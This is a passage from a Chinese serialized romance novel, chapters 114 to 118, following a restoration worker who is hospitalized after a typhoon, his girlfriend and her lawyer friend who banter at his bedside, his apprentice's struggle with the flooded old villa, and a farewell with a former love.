直到上大学以后,才知道,父亲的投资和自己的百万学费是这样来的...... 最好的朋友就在身边,最喜爱的人也没有大碍,她紧绷的神经松了下来,沉沉睡去。 ...... 地毯都是湿的? 17%的湿度,不至于那么夸张啊。 百思不得其解时,想起张野说‘有事联系’。 他思来想去,还是决定工作为重,遂准备拨号—— 哦,手机没了。 算了,睡。 可没躺下多久,脸上糊满一层油,空气潮湿得可怕。 似乎天花板上面都凝结着水滴。 冯小军决定去拿几个硅胶干燥剂把各个角落布置一下。 轻车熟路在‘杂物堆’翻找的时候还在想,就是潮湿应该也没问题。 陆师傅说了,百分之百的湿度下,起码要四十八小时木构件才生霉菌。 那个时候张师傅已经回来了。 灾难始终慢了一步! 硅胶干燥包大方洒在每个角落。 然而当他走到二楼最里面的房间时,才知道并非湿度问题——是整个房子都在往里进水。 贴着墙,水管不知何处裂开口子,正往外冒。 房间内,木地板湿了大块,已经在下头积起一层镜面。 怎么办? 专业知识完全想不起来。 等等!他是学土木的,师傅们没教啊! 总之,先行动起来,远比什么都不做要好。 他的思路是找到缺口,然后堵住。 确定方针后,立马从门口随便扯了块防护罩就往里头赶。 眼前水管覆了一层‘水膜’,顺着水流往上摸,很快找到个疑似豁口的地方。 因为那里有条细缝。 尽管生活经验告诉他,细缝不至于这么大的流量,但只要是‘缝’,就得堵,不是吗? 粗粗的管道约要双手才能合上,细细的裂缝大约铅笔芯那样狭小。 冯小军拿着塑料布片试着绕个圈,长度不够;试着堵住,塞不进去。 扳动、敲打,甚至废了好大劲去关闭闸口...... 拍了管道好几次,印象里这招连家电都能修,但面对漏水时却失了效。 抓耳挠腮之余,灵光一闪—— 会不会苏棠买了胶带呢? 越想,印象里好像越是有那卷黑色的东西。 遂打着手电快步下楼,不消一会,能救场的物件就到手上。 他拿着胶带,仿佛拿着同立下大功的勋章,再次来到房门口。 “咚隆!” 正要靠近时,隔壁房间炸开一声响,水管爆了。 第一百一十四章 好人 公交车像搁浅的鲸,小鱼的尾灯在雨里晕成片模糊的红。 堵车,鱼群在缓缓挪动。 杨灵睡姿素来安稳,这二十分钟里却轻唤了两声‘乔乔’。 顾南乔望着雨刮器外模糊的雨幕,心头沉沉的。 她重注了‘信任’的号牌,将所有底牌摊开;她便只能跟着压上全部身家,这是道德架起的天平。 原来被人完全依赖,竟重得像座山。 那声呢喃轻得像羽毛,落在肩头,却让灵魂都弯了腰——她哪有底气,承接这样的期待? 此刻哪怕一丝私心,一点对她不利的念头,都像在干净的雪地上踩出脏印,罪无可赦。 太沉了。 车子再次启动,终于到她们过线。 “灵灵。”拍了拍,“医院下个路口就到了。” ...... 陆砚睡醒时,白色的天花板,白色的窗帘。 外面并不是明媚的天气。 护士不仅稀里糊涂给他办了住院,医生还给肩膀至手肘加固了绷带,膝盖打了石膏—— 不亚于伤口快好的时候贴创可贴。 乍一看很吓人,其实就是软组织受伤的小事。 所以拍了那么多片,用了那么多仪器、还抽了血,意义何在? 张野的酒味被消毒水味压住了,打着呼噜,躺在旁边床位没醒。 ......以后规矩还是不能破,不管是不是陪同,只要在工作地点一律不准喝酒! 还有手机......没有你/的日子里,我会更加的/珍惜自己~ 哼了下歌,心情轻松不少。 也不知道拆掉几片瓦后,冯小军有没有拿盆把滴下来的水接住。 接住以后,盆里的水有没有按时更换。 要是忘记了、或者换迟了,水洒一地也是件麻烦事...... 不过老洋房倒也没那么脆弱,小军这孩子今晚表现也算不错,手机肯定得报销的,再额外奖励三百块吧。 陆砚单脚艰难地上完厕所,墙上时间来到上午十点半。 一边暗骂腿上石膏多余,一边迫切想要和外界联系。 说真的,这家医院以后再不会来了,待会就把石膏拆了然后办理出院! “咔哒!” 抬头,门口出现一双关切的眼睛。 然而下一秒她的目光便锁定在夸张的绷带和造型上,陆砚大感不妙忙说道: “扭伤!一两天的伤势,医生太专业了、硬是打了石膏。” 声音不小,旁边床侧了侧脑袋,待看清来人后赶紧起来。 “真没事?” “没事啊,张野你睡之前没跟他们说吗?” 陆砚被拉着做了一晚上检查,差点忘记后续的事。 此刻盯着他,期望好兄弟的酒精脑不要连最后的常识都忘了。 “说了呀。跟苏棠说了一遍,跟......那个顾律师说了一遍。” 顾南乔此刻也是顶着一张素素的脸现身,毛呢大衣遮住身体曲线,抱臂靠门口。 “说了就好。灵灵你今天休息呀......” “张师傅你先出去一下。” “好嘞。” 张野麻溜脱离战场。 临走前隐约觉得杨督察会采取暴力沟通,遂准备在门口听听。 没想到正好撞见顾律师的目光...... 溜了溜了,回家睡觉。 ...... 陆砚没想到会有人对病人动手。 顾南乔也是头一回看到杨灵欺负别人。 难怪Melanie束手无策以后让她回国谈恋爱去呢,原来如此。 受气包也有发泄对象时,确实比较减压。 “陆砚你到底在搞什么啊!让你别守着非要犟,结果电话打不通,人还受伤了......以后你老老实实待医院别出去算了!” 她毫不留情捏住男人脸颊,目含怒光,任他解释、嘴巴唠叨不停。 一只手被绷带缠死,且肩膀被压得隐隐作痛的陆师傅,告饶到额头都冒汗了,也将近五分钟才平息女人的怒火。 “顾乔乔,你是不是又欺负她了!” 冤有头债有主,女友气冲冲的肯定有原因。 陆砚怎么想都不认为是他的错,而且还帮忙保住了仪器...... 遂将怀疑的目光投向冷眼旁观的‘杨灵克星’。 是的,如今除了夜晚时分,他面对杨灵的战线已有全面崩溃的趋势。 但是对另一个好兄弟,还是能稍占上分的。 “你问问她,早上穿着睡衣就要开那辆底盘低的车出门,是不是我拦着的。” 顾南乔不屑扫过床上靠一起的两人,心里泛起阵阵苦涩。 “......都怪你,不接电话。” 好好好。 自家女友在那位面前是半点地位没有,同时爱还转头朝自己这边开火。 陆砚朝门口回以同款苦涩笑容,说: “是我错怪了。顾律师大人不记小人过,谢谢你送杨灵。” 加上前不久,刚刚误会她一次...... 想到这就来气。 特别是此刻,女朋友压着自己受伤的肩膀,还浑然不知的瞪着自己。 这傻姑娘怎么念得好博士的? 顾南乔走过来把杨灵拉开,说: “陆师傅工作敬业,工伤有没有保险?我到时候可以帮忙接理赔案子。” 总之此刻看好兄弟是哪哪顺眼: “保险不必,倒是之前还有一个半尾款没到账,可以委托你帮忙。” 是的,被那个住别墅的张老板敷衍一个多月,尾款还不见踪影。 躺在床上算经济账的时候,才想起这茬。 杨灵帮顾南乔搬椅子,又绕到床的另一边靠上来,东捏一下西蹭一下。 倘若此时咬上几口,便有种毛孩子打架的既视感了。 外面雨势突然变大,灰色的天空彻底黑下来。 她剥着护士拿来的橘子,第一个给闺蜜,第二个和陆砚分着吃。 然后说,今天留宿医院算了。 ...... 台风过后,洋房总要花些时间通风、除湿。 另外清水墙的动工也要等些时候,不过老金的砖倒是可以先拖过来。 老头为这次供货下了苦功夫,一万块的尾款快点给他打过去也算个安慰。 再往后,合同期限就比较紧张了,自己的伤势还耽误几天,最好多找个师傅吧。 看看能不能把小区老刘喊来帮忙......大小李那边也别摆架子了,现在正是用人的时候,赶紧给明确回复让他们回来。 杨灵去楼下买午餐,房间只有两个人。 顾南乔比以往沉默,索性陆砚先开口: “嘿。” 她看过来。 曾经阳光都会为之退后三分的明艳笑脸,被显得柔弱的素颜取代。 “你,你的情况还好吗?一直没机会关心一下。当然,我主要是想知道你身上压力大不大,看看能不能帮忙排解一下......不是要打听隐私的意思。” “什么时候讲话像老头子一样绕了,陆师傅。” “......是有点。谁叫你是好人呢,我又做了亏心事......” 此言一出,犹如火星点燃干草堆。 她离开椅子走到床前,眼里含着怒: “什么叫我是好人?哪里看出来好人了?你不要动不动自作多情好——” “停——,你看着我的眼睛......你瞧仔细咯......没恶意的呀,顾女士!” 陆砚是真的很欣赏。 尤其是知道,杨灵冒失、被她拦下的时候,欣赏达到极点。 没她,天知道放在心尖上的女友会做什么傻事! 顾南乔见状收回了手,拉开距离,坐到了床尾。 “......情况很好,不用担心。” 眼神躲闪? 有意相瞒? 好吧,关系确实没到位。 也没谁愿意把家丑往外扬,自己实在多问了。 “你最喜欢吃什么?有机会请您吃个饭吧。毕竟行动比说话更让人觉得真诚。” “咔哒!” 是杨灵。 她的神态比刚来那会舒缓多了,进来兴高采烈地说: “乔乔,食堂有你最喜欢吃的清蒸蟹噢!” “其实我没有特别喜欢吃带壳的。” 杨灵表情一滞,不可思议道: “明明你以前告诉我说,最喜欢吃螃蟹。” “那是因为说了有人帮我剥。” “...” 沉默在绵绵雨声中发酵。 顾南乔看着杨灵,杨灵看着陆砚,陆砚看着打了绷带的手。 暗自庆幸医生做了个好的决定。 “可是......螃蟹很难剥诶。” 抬头,一双眼睛正可怜兮兮看着他。 第一百一十五章 幸福之门 查房护士也没想到,居然真有人会强烈要求住院。 当然,要求住院的不是真正住院的人...... 杨灵介入以后,病房依旧为他敞开着。 陆砚以几乎无损的腿带着全是副作用的石膏,拄拐杖忍着痛、瘸着走进厕所。 本以为讲完‘凌晨惊醒、上楼保护她带来的仪器’后,会收获感动和温柔照顾呢。 结果却是,被两人看着,他独自进厕所,杨灵在身后没心没肺地笑。 罢了罢了,‘近之则不逊’,古人诚不欺我。 不过关系熟了以后,太煽情反而不自在,就这样听她笑笑挺好的。 “哇!灵灵你学坏了,躲门口偷听?” 一出门,褪去厚重卫衣、浅咖针织开衫的女友堵在门口。 其行为偷感之重,唯有干净的脸蛋可以勉强挽回名誉。 “来扶你呀。” 马拉松最后一百米,你跑过来蹭合影? “早干嘛去了?” “刚才忘记了嘛。” 她的情绪从来不是无主的云,会紧随着你的情况,适当在反应中融入自己的底色。 杨灵的底色是天真且调皮的。 刚刚三人在床上拿手机打斗地主,仅仅因为陆砚没在她手牌好的时候抢地主,便花了二十块大洋向他丢西红柿。 如此糟践的行为,当时恨不得提醒她......可以扔枕头啊! 陆砚把手搭在杨灵肩上,压低声音说: “来,给你个机会,表现得好我们可以结盟、一起吃顾乔乔欢乐豆。” “好~” “好什么?” 顾南乔配合着冷的出声,吓得杨灵笑容瞬间凝固。 可惜右手打着绷带,不然高低要跟她击掌。 “乔乔......” “我那两面三刀的闺蜜哟,让一让。” 杨灵扶着他,‘唯唯诺诺’让开厕所。 待厕所门关闭,窝里斗两人正式拉开战斗序幕。 先是被倒戈一击的患者。 尽管一点都不怕被闺蜜听见,但只要使坏的人是陆砚,她重拳出击起来毫不手软。 从背影看去,一个人搭着一个人肩膀,缓缓前移。 实则是男人的手被牢牢牵住,搀扶的人正肆意搞小动作—— 趁着右手打了绷带,伸手去挠左边痒痒肉。 手指轻柔掠过,湖面顿时沸腾。 “杨灵灵,住手......你这是以下谋上!” 陆砚只恨那起不了半点帮助、却反而限制行动的腿上石膏。 他像处于鬼压床的时候,被自家猫在下巴舔舐了一口——心痒,却只能眼睁睁看着。 大抵是回忆起了过去被镇压的岁月,如今起了新账旧账一起算的念头。 杨灵压低声音,兴奋情绪传递过来: “求我,求我我就住手!” 两人都憋着笑。 发梢扫过下巴,她颈间细腻的肌肤抵在胸口,低头就能碰到。 这个位置连香味软了些,像把新鲜的薄荷叶子揉碎了,混着点牛奶的甜。 “现在正式向你发出警告,倘若再不收手后果自负!” 然而近在咫尺的小脸扬了扬,是没有一丝畏惧的积极进攻态度。仿佛此刻是最勇敢的探险者,前方的挑战,只是路过自家楼道般轻松。 “倘若再不求我,后果自负。”她挑衅说。 却浑然不知,近距离面对男人,最好的策略是以柔克刚。 原本搭在她身前、正遭受挠痒痒刑罚的左手,往胸前挪了挪,用冒犯的力道捏了捏...... 做了个称不上冒犯的举动。 缓慢挪到床前的身形一滞,动作被按下暂停键。 那只陷入温柔乡的手化作一叶扁舟,在不平整的海面忽上忽下,乘风破浪。 ...... 名义上住院的人,整个下午只能睡半张床。 名义上来看望的人,在隔壁床安静看手机,一副工作状态。 可没多久,顾南乔便无心阅读‘资产重组’相关政策,呵斥道: “灵灵,你现在一点羞耻心都没有了吗?” 被子里,躺着个像小学生打闹的人,今天格外粘人。 此时头上翘起呆毛,探出头,面色红润: “我没有......是他先动手的。” “哇你可真能耐,有追到医院跟人决斗的吗。” “有啊!” 好在现在也没事,粘人就粘人吧,亏是不会亏的。 往旁边使了个眼神,继续说: “律师就在旁边,我劝你善良。如果还不悔改,后果自负!” “哼,自负就自负。” 陆砚等的就是这句话。 手绕过她的肩膀,突然箍住,高呼: “顾律师快动手!” 有的人,童年仿佛滞后了一样。 明明以前那么乖,现在倒开始顽皮起来,那就只能以暴制暴了。 当杨灵察觉不对劲时,忍无可忍的顾南乔已经叹了口气,起身下床手伸去罪恶的手。 “乔乔不要!” “不要就是要,快动手!” “...” 第三方以绝对实力介入,效果堪比老师手中的戒尺,瞬间控制住局面。 陆砚唯一没算到的是,杨灵认错很有一手,这让顾南乔很快失去了新鲜感,转而向他开火。 动作牵动时,右肩比刚来的时候疼了不少...... 欢乐的时光总是短暂的。 病床的设计师也没想到,在病人半个身子悬空的情况下,是可以睡下三个人的。 “还嚷嚷不?” “不了。” 两人中间,家猫一样温顺,喘气浅浅笑着。 陆砚往里挤了挤,这次没被误认为调戏。 杨灵让出空间后,三人真正意义上的紧挨在一起。 隔着一个人,两股香味混在一起被送进鼻翼,彼此安稳的呼吸声构建了令人遐想的梦。 “你们俩像换了个性格,灵灵现在比刚碰见你的时候还闹腾。” 腰间被轻轻捏了下,她没反驳。 雨声和空调送风声在房间撞出美好乌托邦。 顾南乔没有立刻回答,仔细梳拢耳边的头发: “她今天吓哭了。” “...” 没想到会是这样的回答。 陆砚侧头看去,迎上意味不明的眼神,白皙的皮肤里藏着一份病弱。 顺势往下,是一双水润的眸子,脸颊蔓延到耳边的粉红,可爱极了。 男人不知道其中的误会,轻松调侃道: “我家女朋友胆子这么小吗?” “对啊,心眼特别小。” 心眼特别小的她,主动cue起自己。 “顾乔乔,一人说一件杨灵的糗事,接不接?” 她挑了挑眉,笑着说: “输的人亲她一口?” “有效!” “...” 曾经不可忍受的种种,如今换做好笑的回忆。 在彼此的笑容中,仿佛有一道幸福之门就此敞开,明晃晃的矗立在那,等着两人过去。 第一百一十六章 看望 苏棠冥冥中有预感,这个月会涨工资,甚至被求着留下来转正也说不准。 到时候被强硬的威胁、不准走,该如何是好呀! 撑伞,下车。 雨点轻轻抹在彩色碎花伞上,她捧着康乃馨慢慢悠悠晃到住院部。 住院部的建筑总显得比周围沉一些,浅灰色的墙皮被雨水浸得发暗,窗户紧闭,像把人关在了里面。 随着消毒水气味和频繁的白色元素,‘看望病人’的感觉切身降临。 苏棠的心情开始不那么轻快,甚至考虑着,要不顺势酝酿一下、进门就掉小珍珠。 算了算了。 如此做法,可不就像那些女明星一样,哭一场身价翻好几倍吗...... 对照张师傅发的房号,她在602门前敲了敲——据说,伤势轻的楼层高。 “进。” 是陆师傅的声音。 “呜呜陆师......” 此时五点四十,按照惯例即将到达饭点,所以她来了。 只是独独没料到,张师傅来得比她迟,而且杨老师还不在。 这叫她如何应对眼下的局面? “顾律师,你没化妆把人家吓到了。” 陆砚本来听到戏精小姑娘的声音就心情不错,如今看到一副被打断施法、支支吾吾的样子,就更加乐不可支。 “那我出去一下?” 隔壁床上,一双似笑非笑的眼睛扫过来,苏棠下意识就不敢麻烦: “不用的,不——” “其实我也觉得没必要,真回避了,灵灵回来准得不高兴。” 她连耳侧的头发都那样端庄、严肃,说话口吻始终不痛不痒,仿佛将自己的心剖开翻看过一遍,才专门出现。 在门口,苏棠紧张得脚趾都缩住了。 一秒钟如此短暂,轮到她说话的时候,完全来不及构思。 一秒钟如此漫长,陆师傅唇齿欲启,即将解救架在火上烤的自己,可时间仿佛暂停了去,尴尬之神支配着身体。 “去去去,人生难得收一次花,别给我搅和了。” 思绪被轻松的语言唤醒,僵硬的身体变得重新柔软。 身为病人的他,看起来丝毫没有受到旁边女人的影响,显得如此勇敢。 “陆师傅,祝你早日康复......” 苏棠贴着墙,挪过来。 她念的是康乃馨的花语,下午亲手包起来的。 路上想了好些个话题,仅仅关于鲜花,就可以聊好久不间断的那种。 可终究还是百密一疏...... 陆砚呵呵笑着,接过花束。 它散发着淡淡的甜,里头又能品出微涩的草木气,是一种温柔而克制的香气。 “有心了。你和小军两个越来越优秀,就是让我最欣慰的事。” “也不用为了避嫌,特地装出一副沧桑感吧?不正面表扬,到时候人家小朋友生气了你又怪我。” “这属于倒打一耙了昂,只要你不去法院起诉,我就心存感激了好吧?” “倒也不必闹到那个地步,赢你既不能为我的履历添光增彩,还要被灵灵埋怨,得不偿失。” “顾乔乔!你等着,等我伤好——” “陆师傅......” 两人寻声而望。 苏棠说: “我先走了......我妈喊我回家吃饭。” 在全面崩线的战争中,离开,是最后的底牌。 至少当它打出后,人们的注意和话题的重点,会短暂回归一瞬。 可此刻她并不喜欢这个瞬间。 不是像孩子一样渴望争抢喜欢的玩具,也不是抢不过玩具赌气式的出走。 她......她表达不出来,唯一感受就是,想离开。 离开这里,然后带着吉他去歌唱...... 想自由的灵魂并非三言两语拦得住,房门慢慢合上,房间内陆砚和顾南乔大眼瞪小眼。 “陆砚,不留一下?” “......我就晓得你要阴阳怪气!” “霍!” 她直着腰,坐起来,分不清玩笑成分有多少: “什么叫阴阳怪气?有话不直说,但是心存念想忍不住表达,就是阴阳怪气。你敢说刚才没有起心动念让我出去?但您老人家撑得住气,憋着不说还恶人先告状......所以现在阴阳怪气的人是谁呢?恩?” 生活中,人们很少说长句子。 因为说教意味实在重,会消解对话的平等地位,从而让另一方不舒服。 ......也正是因为说得少,偶尔也可以接受长句子的洗礼。 陆砚从枪林弹雨中走出,平和回道: “你今天不化妆,是不是故意用惨白的气色,封我的嘴?” “请注意,无可辩驳和故意谦让是两码事,晓得伐?” 如果故事需要承上启下,那么此刻就是‘破折号’所在之处。 上一刻慷慨激昂,下一秒握手言谈,说得就是顾南乔。 她又躺下去,懒洋洋瞪过来。 威力不足的一眼,似乎还参杂着满意。 如今这位的气性也是摸清楚了,只要不着急释放攻击,两人绝对能相安无事和平很久。 “咔哒!” 杨灵提了七八个餐盒回来,好在一楼就有食堂,不然陆砚可得心疼坏了: “灵灵,辛苦了,鲜花送给你。” “......是苏棠带来的吧。” “不重要。” 床上小桌板约莫比一台笔记本电脑大不了多少,狭仄的空间压根不够放。 好在这是中午需要思考的问题。 他们把房间三张床的桌板拼在一张床上,彼此相连,顿时‘气派’不少。 对于习惯良好的杨灵来说,在床上吃东西还是颇有新鲜感的。 但......此刻新鲜感好像过了。 她沉默地将一个个盒子打开,小心着餐盒上的水,让其不要滴到桌面。 几双手帮忙摆盘,很快,三人坐到床上准备吃饭。 陆砚感受到了杨灵的心不在焉。 不过也正常,医院环境还是比不得家里。 “灵灵,晚上我们办理出院吧。” “......不行。还是多住几天比较好。” 还想说什么时,她把手机递过来。 “刚刚张师傅送过来的。” 陆砚一愣, “他人呢?怎么没上来?” 杨灵没有回答,只是说 “......晚上我要出去一趟,工作上的事。乔乔你在这陪他吧。” ...... “医院住着不舒服,要不你回去?” 说到这里陆砚自己愣住了,因为他所指的‘回去’是杨灵家,仿佛默认了他们仨住一起的现况。 这正常吗?简直匪夷所思。 但又觉得没到‘骇人听闻’的地步——像合租室友,清清白白住一起,也说得过去。 “懒得动,有空调能接受。” “顾......南乔,我还以为你会很娇气。” “都什么时候了”她啧了声,“家道中落了好不啦?” 原来家道中落了呀......好小众的词。 陆砚压根没有具体的概念,只能凭借电视剧的演绎脑补画面。 比如说,落魄千金跑到别人家当女仆。 或者,平平无奇在便利店打工,然后突然觉醒系统、被大佬看中。 当然了,他是绝对不会没眼力见说出来的。开玩笑也要有分寸,毕竟人家手里捏着水果刀削苹果呢。 “......前段时间我们住一块,也没听你说什么......我都差点以为事情过去了。” “你和灵灵一个德行,色字当头,懒得讨论。” 苹果削了一半,狗啃了的造型初步可见。 陆砚边嫌弃边慰藉——她大大咧咧的,但是也并非没有可取之处嘛。 会关心人就不算花瓶,以后咱顾姐照样可以风生水起! “好骂,爱听,多骂几句。” 轻松应付着,他开始畅想未来。 大概是一个鲜花盛开的日子,会领着杨灵和他们的小朋友去公园春游。 画面简单,却有无数细节可以填充。 而且不管怎么描绘,画面都卟啉卟啉闪着光,亮眼极了。 回过神,那个丑丑的苹果立在柜子上,她玩起了手机。 “喂,快骂呀,哑火了?” “等下,我先把110输好再骂。” “连解释的机会都不给就报警?不是大胆猜测小心求证吗?” “......那你说我该怎么办,”顾南乔把手机往枕头底下塞,声音陡然沉了沉: “像个傻子似的任你调戏,然后女朋友回来又一脚把我踢开?” 陆砚张了张嘴,房间针落可闻。 主要是她的眼睛太认真,一下难以玩笑回应。 窗外的救护车鸣笛由远及近,他声音跟着扬了扬: “喂——,都哥们,调戏啥呀。上次不是跟你认错了吗,咱搞一次性的,不带翻旧账啊。” “什么一次性不一次性的,谁愿意搭理你似的......” 说着,放下手机,接着削苹果。 见状陆砚赶紧劝导: “聊天嘛,解压,晓得吧?万一以后我出书呢?就当帮我攒素材,讲讲你这段时间呗~” “你真的很烦好伐,那是隐私诶,隐私!” 讲的就是隐私! “顾姐,请开麦。求求了,真想听!” 她咬着下唇,把削好的苹果递过来: “......不准跟灵灵讲喔!” 窗帘被风掀起一角,光斑扫过她泛红的耳尖。 ...... 冯小军拿着面包,裤腿湿了大片,静静坐在台阶前,满目绝望。 他等了很久,从凌晨到晚上。 十二个小时里,雨在下,屋在漏,一楼地板全部湿透了。 被浸泡的木地板起了拱,像病人身上长的脓。 张师傅中午赶来,说这事他也有责任,然后就去了医院。 如今两人一块在大门口等...... 起先风吹过来,身体微微发颤,还会想,雨真冷啊。 如今,身上只剩麻木。 事情为什么会变成这样? 人们常说触底反弹,为什么他的人生,跌得这么深? 张野蹲在旁边抽烟,期间又去买了包新的。 作为冯小军的师傅,竟是没有半点勇气再说一句安慰的话、再给一个承诺出去。 透过烟嘴过滤,缓缓吸了一口‘干净’的空气。 每一滴雨落在台阶上的声音,都像在数着老洋房剩下的、没被拆穿的最后几秒。 烟蒂一点红光,燃到尽头。 随后掉落阶下,‘呲’的就熄灭。 他很清楚,这个项目完了。 第一百一十七章 告别 杨灵半夜十点才回来,眼睛里的疲惫看得直叫人心疼,可陆砚打着绷带,于是拥抱安抚工作由顾南乔接手。 究竟是什么状况,让平时较为清闲的部门加起班呢? 她说工作保密。 但陆砚猜测,应该是台风过后,各个文保单位建筑遭受不同损坏,所以才集体加班...... 今早七点,阴天,有转晴的迹象。 杨灵离开医院,说要回去换身衣服。 顾南乔在左边床上睡着,浓密的头发遮住大半张脸,露出总能激发怜惜情绪的白皙皮肤。 此外,右边肩膀今天疼得格外厉害: 不是错位时的‘钻心’,是弥漫在整个肩膀的钝痛,像被车轮碾过的肌肉在慢慢醒过来。 稍微翻身牵扯到,就会疼得龇牙咧嘴。 起来上厕所的时候,甚至感觉绷带吊着的胳膊开始发麻,手指有点肿,攥拳头都费劲。 下雪不冷、化雪冷,原来第二天才是最难熬的。 陆砚拄拐杖用肩膀抵着门,小心翼翼够着把手,一松手拐杖就往下滑。 “要帮忙怎么不喊我。” 顾南乔的声音和下床时的动静在背后响起。 当然想过喊人帮忙。 一来她在睡觉,打扰了不好;二来,这种事情求助,不就像残疾人了吗...... 没想到如今连上厕所都需要人帮忙开门,那种想快点恢复却又急不得的滋味,比疼更磨人。 “......谢谢。” 然而她顶着一张气血不足的脸,坏笑说: “现在谢了,待会帮你脱裤子不还得谢一次?” “不用了!” 呵,不是有女朋友,高低得好好、谢谢! 矫情的心思来得快去得快,顾南乔就在门口等着,在她的加持下,只要喊‘开门’,门便开了。 出来以后,依然是一副坏坏的笑容,只是脸颊气色好了些。 大概是着急性格使然,她突发善心,要帮忙把他扶回床上。 结果......效果没拐杖好就算了...... 肩膀处龇牙咧嘴的疼啊! “喂,不至于这么虚吧,使点劲啊大律师!” 顾南乔身段和杨灵差不多,偏偏杵着她的时候总感觉内里中空—— 如果要倒也是对方先倒下的感觉。 “不行,早上没劲。” 陆砚的床在最左边,距离厕所横跨整个房间。 就算此刻步子变小了,倘若某个外强中干的人能出力点,也不至于如此艰难。 被架着走,一步一晃,每次晃动头发都会打在陆砚脸上、从而扭头,牵动肩膀。 煎熬...... “顾乔乔,我们换张床!” “可以啊,不过你晚上睡不着别怪我哦。” 她的床在最里面,最靠近厕所。 原本十来步距离变成五六步,路程缩短大半的同时......怎么感觉人形拐杖‘耗损’得更大! 她没长骨头吗,软绵绵的! 两人在目的地前摇摇欲坠,搞不好顾南乔低血糖发了也说不准。 果不其然,最后一步直接往前栽—— 他们搂在一起,被迫面部着陆,可是打了绷带的手哪里藏得住。 “唔!” 一声闷哼。 如果说刚从台阶上摔倒那会,是‘小事’;那么第二天起床,胳膊的状况便是‘中等事’。 现在,大事不好了。 “你、没事吧?” 她被左臂压在床下,同样闷的声音在近处传来。 陆砚回应不了。 疼痛像潮水般不断冲刷着神经,汗一下就冒出来,打湿额头。 “喂!” 顾南乔作势撑着起身。 全然没有意识到此刻的局面刚达成一个平衡——右小臂压在身下,左边被她垫着,压力正好被分担。 可现在起来,那个瞬间,右边肩膀会‘死’掉的! “别,动!” 咬牙切齿喝止住。 如果若干年以后,他们再回过头来看这样一幕,高低得笑出来。 一男一女在床上搂着,本是件暧昧到极点的事。 偏偏两人面部朝下、动弹不得,像是下面有个拓印脸形的模具,保持姿势是为了以后留念呢。 “别动啊!” 她的胳膊缓缓放平,把头侧过来,“那......就这样躺着?” “你笑什么?还有脸笑?” 脸贴被子上,声音像隔了道门传过来,左边那人一颤一颤,在憋笑。 震动会传导,而且贴合面积越大、传导越多。 敏感的肩膀此刻约等于经历了地震,结实的承重墙开始出现裂缝。 疼痛折磨得他几欲大呼。 翻动不得,只好左手用力把她的脖子箍了箍,以表示严肃。 顿时,两颗脑袋突然凑近...... 耳边传来柔软触感,炽热呼吸分毫不差打在侧脸。 每次喘气,酥酥麻麻的。 ...... 阿乐拉走陈禹,陈禹拉走颜朵,把房间交给屋内三人。 某个女人本没有血色的脸上极为反常的烫,坐在床上半遮着,视线回避。 陆砚也回到自己的床,看向旁边的造访者。 他有比较过,与其被杨灵帮忙拉起来,也好过眼下、就此暴露在林晚声面前。 “这位女朋友也叫杨灵?” “我出去一下......” 顾南乔走了,看样子短时间内不会回来。 陆砚唾弃她落荒而逃的背影,这样的人,不是我的兄弟! 视线收回,面前的人卡其色外套里露出米白色高领毛衣,下身是条及踝的格纹半身裙。 今天气温也不高啊...... “不冷吗,穿裙子。” “有点。但你的房间挺热的。” 她的眼睛弯成月牙,书没白看,讽刺的艺术运用得炉火纯青。 “底气十足的人从不解释,不过你们来得也是巧......” 室内不好的地方就在于,没有风、没有落叶,也没有时刻变换的光线,这就导致此时没有办法分散注意力。 众所周知,闲聊的核心就是在不那么专注的前提下沟通。 如果彼此能坦诚吐露,就更好了。 “没有想象中严重嘛,外面的护士说,你女朋友帮忙办了一星期的住院。” 他盯着对方,总觉得和以前不一样了,又说不清楚具体。 语调变了?穿衣风格变了? 不,它们都是内心的表征。 即使是相同轨道上的列车车厢,也会在朝夕相伴中各自改变。 人的改变不可避免,这是从小就知道的事情。 唯一遗憾的是,要在不同轨道上、吹不同的风、往不同的方向、一点点变化。 直至彼此完全对不上,成为另一个人。 很多人把珍贵的回忆装在玻璃瓶里,时不时隔着瓶子,观望、回味。 同时他们也知道,一旦记忆的主角再出现,瓶子里的内容便一股脑跑出来,瞬间褪色、衰败。 终有一天,两人再相见的瞬间,便宣告着过去自己的死亡。 他看着林晚声,说: “是啊,我女朋友帮忙办了住院。但别搞错了,不是刚才那位。” “反正和我没关系啦。” “个人名誉还是很重要的,我不是渣男。” “恩。” 她搬来椅子,在旁边坐下,安静翻开一本书。 那书很厚,远超一般的长篇小说。 正当一头雾水的时候,书中抽出一个云杉木书签,递过来。 “可是老实人也太不够意思了,几次演出都没赶上。” 书签如同崭新,抛光打磨的地方几乎和很久以前一样。 那是他们一起看完呼啸山庄,陆砚随手做的。 可这随手之物,借着某种坚韧的力量,挺过了漫长岁月。 它就像一个三流小说家的作品,被痴心人选中,进而在某个人心中获得了不该有的成就。 它的作者......受宠若惊。 许久,干涸的嗓子击碎沉默,许下保证: “最近不是还一场吗......我肯定会到。” “算了吧,我明天就走......书签还你了......好好在医院养伤。” 不过手指大小的书签被塞到手里。 她不给拒绝的机会,一如当年收下时候,干脆。 只是那双眼睛紧紧盯着它,仿佛做着最后的道别,没有不舍...... 只是道别! “晚声......” 林晚声的眼睛很漂亮,可以倒映夜空中闪烁的星星、又似清澈湖水中灵动的鱼儿。 她为他笑过,笑起来眉眼弯弯的; 也哭过,在人潮汹涌的街上边走边哭,甚至当看到他的时候,哭得最惨烈。 但最后仍会为之歌唱。 陆砚在她的注视下,从‘呆子’到略懂浪漫,走过了最美好的青春、再也不会重来的青春。 “晚声,我们还会再见面的,对吗?” “......对。” 第一百一十八 去老洋房 无人打扰的午后,真心被往事反复雕琢。 男人,不该困于他人注视而自缚双腿,对于即将离去的朋友,好好告别,很重要。 陆砚让医生拆掉石膏,于是房间响起了‘沙沙’的摩擦声,那是在切割石膏表皮。 “过几天,绷带可以自己拆吗?” “这边建议你最好来一趟,如果自行拆除,出了问题医院概不负责。” 概不负责? 现在医院给我的印象就是太负责了! 良久,皮肤突然接触到空气,凉飕飕的感觉,腿上顿时一轻。 顾南乔在一边见证全过程,还拍了视频发到三人群里,此刻紧赶慢赶画着妆: “恭喜啊陆师傅,以后就是可以自己去上厕所的大人了!” 自打倾听了心事之后,陆砚能感到她的情绪逐渐乐观起来。 正如她所说,政府有意帮扶下,家里的情况已经比硬着陆、成为失信人员好多了。 甚至于,以后仍可以接着当资本家,日子好得不行呢。 “医生,拆除还要多久?” “两分钟就好,你的情况很好呀,怎么打上石膏啦......没必要浪费钱呀小伙子!” “侬不晓得,他女朋友有钱着嘞,自然要娇气点的。” “...” 窗外的天空飘着离别远行的云,仅仅瞧上一眼,都会使人忧郁。 